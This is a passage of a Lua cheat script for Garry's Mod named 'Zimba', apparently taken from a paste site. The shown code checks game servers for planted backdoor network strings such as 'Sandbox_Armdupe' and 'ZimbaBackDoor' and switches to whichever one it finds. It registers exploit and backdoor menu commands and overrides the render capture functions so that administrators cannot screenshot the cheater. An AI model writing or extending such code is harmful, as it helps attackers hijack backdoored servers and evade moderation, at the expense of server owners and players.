  1482.     if( ValidNetString("Sandbox_Armdupe") ) then
  1483.         BackdoorsFound = 1 + BackdoorsFound
  1484.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - Sandbox_Armdupe" )
  1485.         netKey = "Sandbox_Armdupe"
  1486.     else
  1487.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - Sandbox_Armdupe!" )
  1488.     end
  1489.     if( ValidNetString("BackDoor") ) then
  1490.         BackdoorsFound = 1 + BackdoorsFound
  1491.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - Backdoor" )
  1492.         netKey = "BackDoor"
  1493.     else
  1494.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - Backdoor!" )
  1495.     end
  1496.     if( ValidNetString("ZimbaBackDoor") ) then
  1497.         BackdoorsFound = 1 + BackdoorsFound
  1498.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Found Backdoor! - ZimbaBackdoor" )
  1499.         netKey = "ZimbaBackDoor"
  1500.     else
  1501.         chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 0, 0 )," BackDoor Not Found - ZimbaBackdoor!" )
  1502.     end
  1503.     SploitNotify("Found: ".. BackdoorsFound )
  1504.     chat.AddText("Changed Net String to - ".. netKey )
  1505. end
  1506.  
  1507. -- Zimba Watermark
  1508.  
  1509. function Watermark()
  1510.     Watermark = vgui.Create( "HTML" )
  1511.     Watermark:SetPos( 5, 5)
  1512.     Watermark:SetSize( ScrW(), ScrH())
  1513.     Watermark:OpenURL( "http://skydarkrp.com/zimba/zimbalogosmall.png" )
  1514. end
  1515.  
  1516. --
  1517.  
  1518. concommand.Add("zimba_menu", OpenZimbaMenu)
  1519. concommand.Add("zimba_exploit_menu", OpenExploitMenu)
  1520. concommand.Add("zimba_misc_menu", OpenMiscMenu)
  1521. concommand.Add("zimba_backdoor_menu", OpenBackdoor)
  1522. concommand.Add("zimba_check_backdoors", checkbackdoors)
  1523.  
  1524.  
  1525. render.Capture = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" ) return end
  1526. render.CapturePixels = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" )return end
  1527. render.CapturePixels = function() chat.AddText( Color( 0, 0, 0, 125 ), "[ZIMBA]", Color( 255, 255, 255 )," Someone tried to screengrab you dont worry your protected ;)" )return end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement